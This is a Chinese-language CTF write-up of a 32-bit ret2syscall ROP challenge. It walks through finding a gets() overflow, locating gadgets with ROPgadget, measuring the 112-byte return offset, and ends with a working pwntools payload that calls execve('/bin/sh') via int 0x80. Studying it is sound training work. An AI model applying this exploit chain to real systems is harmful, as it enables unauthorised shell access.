环境
原理
系统调用
系统调用(英语:system call),指运行在用户空间的程序向操作系统内核请求需要更高权限运行的服务。
操作系统的进程空间可分为用户空间和内核空间,它们需要不同的执行权限。其中系统调用运行在内核空间。
应用程序调用系统调用的过程是:
1、把系统调用的编号存入 EAX;
1、把函数参数存入其它通用寄存器;
3、触发 0x80 号中断(int 0x80)。
利用方式
gadgets :以 ret 结尾的指令序列
利用程序中的gadgets
控制寄存器的读写来进行系统调用,实现execve("/bin/sh",NULL,NULL)
系统调用,获取最高权限。
漏洞分析
使用checksec
指令查看程序保护措施
checksec rop
可见该程序为32位,仅开启了NX堆栈不可执行
,故不可以直接向堆栈中注入shellcode获取权限。
使用IDA32位进行调试
反汇编后可看到main函数如下
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+1Ch] [ebp-64h] BYREF
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("This time, no system() and NO SHELLCODE!!!");
puts("What do you plan to do?");
gets(&v4);
return 0;
}
可以看到主函数中存在gets
危险函数,可以利用gets
修改main
函数的返回值返回到我们所需的gadgets
,从而进行想要执行的系统调用,在这里我们可以进行execve("/bin/sh",NULL,NULL)
系统调用
通过在IDA中shift + F12
查看字符串,我们可以看到存在/bin/sh
字符串,地址为0x080BE408
我们可以直接利用这个字符串作为execve的第一个参数进行调用。
由上述原理可知,这里我们需要eax寄存器来存储系统调用号,利用其它寄存器来存储参数,再通过0x80
触发中断
此处我们系统调用函数为execve
,对应的系统调用号为0xb
,故应给eax赋值0xb
。
execve
函数的三个参数则分别对应着ebx
、ecx
、edx
三个寄存器
ebx
——0x080BE408
(/bin/sh字符串地址
)
ecx
——0
edx
——0
如何给这些寄存器赋值呢?
汇编语言中有一条指令是pop xxx
,可将栈顶数据弹出并存入xxx
中,这个xxx
可以为寄存器
我们就可以使用gets
函数修改栈中数据,然后触发pop
指令将这些数据存入栈中
那么如何指定pop
指令的操作对象呢?
这时我们需要利用一个小工具:ropgadgets
,这个工具可以帮助我们获取需要的gadgets
比如这道题我们需要将0xb
存入eax
中,我们就可以输入以下指令
ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
这条指令可以帮助我们找到rop
程序中eax
寄存器的pop|ret
指令的地址
可以看到,包含pop
、eax
、ret
指令的所有gadgets
都被列出,这里我们只需要第二个即可
然后我们再找’ebx’的相关gadgets
ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'
发现这么多相关的gadgets
均被列出,这里我们可以发现倒数第六行将ebx
、ecx
、edx
都用到了,我们就可以直接利用这一条gadgets
来给这些寄存器赋值
接下来再利用gdb
获取return
偏移量
gdb rop
cyclic 200
r
cyclic -l 0x62616164
随机产生200个字母
可以看到在0x62616164
报错,说明这里就是return
在栈中的位置,被这四个字母覆盖
通过cyclic -l
命令查找刚刚随机产生的字符串中这四个连续字母的位置可以确定偏移量为112
payload
from pwn import *
io = process('./rop')
pop_eax_ret = p32(0x080bb196)
pop_edx_ecx_ebx_ret = p32(0x0806eb90)
int_0x80 = p32(0x08049421)
payload = bytes('a' * 112,'utf-8') + pop_eax_ret + p32(0xb) + pop_edx_ecx_ebx_ret + p32(0) + p32(0) + p32(0x080BE408) + int_0x80
io.sendline(payload)
io.interactive()
地址 | 栈中内容 |
---|---|
ebp~ebp-0x64 | a |
main函数return地址 | pop_eax_ret地址 |
pop_eax_ret参数 | 0xb |
pop_eax_ret return地址 | pop_edx_ecx_ebx_ret地址 |
参数3 | 0 |
参数2 | 0 |
参数1 | /bin/sh字符串地址 |
pop_edx…_ret返回地址 | 0x80截断 |
其中栈中参数都是pop
的参数,用来弹到指定的寄存器中